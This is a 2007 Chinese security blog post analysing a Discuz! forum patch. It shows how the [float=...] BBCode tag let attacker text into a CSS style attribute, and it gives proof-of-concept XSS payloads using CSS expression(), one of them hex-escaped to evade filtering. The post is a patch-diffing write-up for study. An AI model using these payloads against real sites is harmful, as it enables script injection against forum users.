2007年9月2日星期日

[Tips]Dz0724补丁补掉的一个xss

by Superhei
2007-09-03
http://www.ph4nt0m.org

Text Mode

对比补丁我们发现在\include\discuzcode.func.php里:

$discuzcodes['searcharray']['bbcode_regexp'] = array( //标签的正则

    $discuzcodes['searcharray']['bbcode_regexp'] = array( //标签的正则
    
        "/\[align=([^\[\
<]+?)\]/i",         ---->补丁前 
        "/\[float=([^\[\
<]+?)\]/i"
                |
                V
        "/\[align
=(left|center|right)\]/i", ---->补丁后
        "/\[float=(left|right)\]/i"

继续看下面的codz是杂处理这2个标签的:
    $discuzcodes['replacearray']['bbcode_regexp'] = array( //替换的正则

         . . . . . .
        "
<align=\"\\1\">",
        "
<br style=\"clear: both\"><span style=\"float: \\1;\">"

替换的代码部分:
$message = str_replace($discuzcodes['searcharray']['bbcode_str'],
$discuzcodes['replacearray']['bbcode_str'],
                
preg_replace(
                    (
$parsetype != 1 && $allowbbcode == 2 && $GLOBALS['_DCACHE']['bbcodes'? array_merge($discuzcodes['searcharray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbcodes']['searcharray']) : $discuzcodes['searcharray']['bbcode_regexp']),
                    (
$parsetype != 1 && $allowbbcode == 2 && $GLOBALS['_DCACHE']['bbcodes'? array_merge($discuzcodes['replacearray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbcodes']['replacearray']) : $discuzcodes['replacearray']['bbcode_regexp']),
                    
$message));

经过测试发现$message在进入上面的str_replace以前已经被htmlspecialchars或者类似函数处理过。所以没有办法使用"和<>
这也就是意味着
"/\[align=([^\[\<]+?)\]/i"-->"<align=\"\\1\">"

是没办法用"<>等闭合,我们再看float标签:
"/\[float=([^\[\<]+?)\]/i"-->"<br style=\"clear: both\"><span style=\"float: \\1;\">"

替换后的\\1进入
<span style=

哈哈 style=里利用expression()是不需要"闭和的 :)。

测试codz:
[float=expression(alert(123456789))]test[/float]

上面的只是弹个筐筐,鉴于很多牛牛都bs这个筐筐,的确有的情况有筐筐也是没办法利用的,因为alert(123456789)这个里面没有什么特别的敏感符号。我们看看
"/\[float=([^\[\<]+?)\]/i"

这个提取的正则没有什么特别的过滤只是$message在替换前就被htmlchars了
所以完全是可以利用的 如:
[float=\65\78\70\72\65\73\73\69\6f\6e\28\61\6c\65\72\74\28\31\32\33\34\35\36\37\38\39\29\29]test[/float]

不过还是弹筐筐 :)。

后话:Dz的discuzcode部分代码写的真的很烂[我是说代码风格],我估计DZ的负责代码安全的人员也看的郁闷啊,才导致漏洞没看出来?纯粹的YY ..... 。不过xss的黑盒测试比看代码要来的方便啊[看到这话,有人会很高兴的]。

没有评论: